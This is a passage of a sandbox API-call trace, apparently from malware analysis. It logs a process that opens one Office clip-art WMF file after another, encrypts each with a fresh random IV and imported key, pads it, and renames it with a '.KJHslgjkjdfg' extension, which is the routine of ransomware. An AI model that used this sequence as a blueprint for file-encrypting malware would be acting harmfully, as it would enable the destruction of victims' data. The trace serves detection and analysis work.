"c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.318] GetProcessHeap () returned 0x2ef0000 [0195.318] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.318] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.318] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.318] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0195.321] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.321] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.321] GetProcessHeap () returned 0x2ef0000 [0195.321] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.321] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.321] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.321] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.321] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.321] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.321] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.321] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.321] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.322] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.322] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.322] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.322] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x45ba, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x45ba, lpOverlapped=0x0) returned 1 [0195.323] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x45c0, dwBufLen=0x45c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x45c0) returned 1 [0195.323] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.323] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x45c0, lpOverlapped=0x0) returned 1 [0195.323] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.323] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.323] SetEndOfFile (hFile=0x130) returned 1 [0195.326] GetProcessHeap () returned 0x2ef0000 [0195.326] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.326] GetProcessHeap () returned 0x2ef0000 [0195.326] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.326] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf.kjhslgjkjdfg")) returned 1 [0195.327] CloseHandle (hObject=0x130) returned 1 [0195.327] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa5bdb00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaa5bdb00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x2eda, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00076_.WMF", cAlternateFileName="")) returned 1 [0195.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.329] GetProcessHeap () returned 0x2ef0000 [0195.329] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.329] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.329] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.329] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x6, lpOverlapped=0x0) returned 1 [0195.331] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.331] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.331] GetProcessHeap () returned 0x2ef0000 [0195.331] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.331] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.331] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.331] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.331] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.331] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.331] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.332] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.332] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.332] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.332] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.332] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.332] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2eda, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2eda, lpOverlapped=0x0) returned 1 [0195.333] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2ee0, dwBufLen=0x2ee0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2ee0) returned 1 [0195.333] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.333] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2ee0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2ee0, lpOverlapped=0x0) returned 1 [0195.333] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.333] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2fb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.333] SetEndOfFile (hFile=0x130) returned 1 [0195.334] GetProcessHeap () returned 0x2ef0000 [0195.334] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.335] GetProcessHeap () returned 0x2ef0000 [0195.335] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.335] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf.kjhslgjkjdfg")) returned 1 [0195.336] CloseHandle (hObject=0x130) returned 1 [0195.336] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6bb4600, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6bb4600, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x7620, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00077_.WMF", cAlternateFileName="")) returned 1 [0195.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.337] GetProcessHeap () returned 0x2ef0000 [0195.337] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.337] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.337] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.337] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.337] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.337] GetProcessHeap () returned 0x2ef0000 [0195.337] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.337] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.337] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.337] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.340] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.340] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.340] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.340] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.340] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.340] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.340] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.340] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.340] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7620, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7620, lpOverlapped=0x0) returned 1 [0195.342] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7620, dwBufLen=0x7620 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7620) returned 1 [0195.342] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.342] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7620, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7620, lpOverlapped=0x0) returned 1 [0195.342] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.342] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x76f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.342] SetEndOfFile (hFile=0x130) returned 1 [0195.345] GetProcessHeap () returned 0x2ef0000 [0195.345] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.345] GetProcessHeap () returned 0x2ef0000 [0195.345] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.345] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf.kjhslgjkjdfg")) returned 1 [0195.346] CloseHandle (hObject=0x130) returned 1 [0195.346] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb58a1900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb58a1900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x721c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00086_.WMF", cAlternateFileName="")) returned 1 [0195.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.347] GetProcessHeap () returned 0x2ef0000 [0195.347] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.347] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.347] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.347] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.353] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.353] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.353] GetProcessHeap () returned 0x2ef0000 [0195.353] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0195.353] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0195.353] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.353] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0195.353] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0195.353] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0195.353] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0195.353] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0195.353] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0195.353] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.353] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0195.353] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.354] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x721c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x721c, lpOverlapped=0x0) returned 1 [0195.355] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7220, dwBufLen=0x7220 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7220) returned 1 [0195.355] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.355] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7220, lpOverlapped=0x0) returned 1 [0195.355] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0195.355] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x72f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.355] SetEndOfFile (hFile=0x130) returned 1 [0195.358] GetProcessHeap () returned 0x2ef0000 [0195.358] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0195.358] GetProcessHeap () returned 0x2ef0000 [0195.358] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0195.358] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00086_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00086_.wmf.kjhslgjkjdfg")) returned 1 [0195.359] CloseHandle (hObject=0x130) returned 1 [0195.359] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c1c00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a2c1c00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x3772, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00090_.WMF", cAlternateFileName="")) returned 1 [0195.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0195.359] GetProcessHeap () returned 0x2ef0000 [0195.359] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0195.359] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0195.359] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0195.360] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0195.381] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0195.381] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, 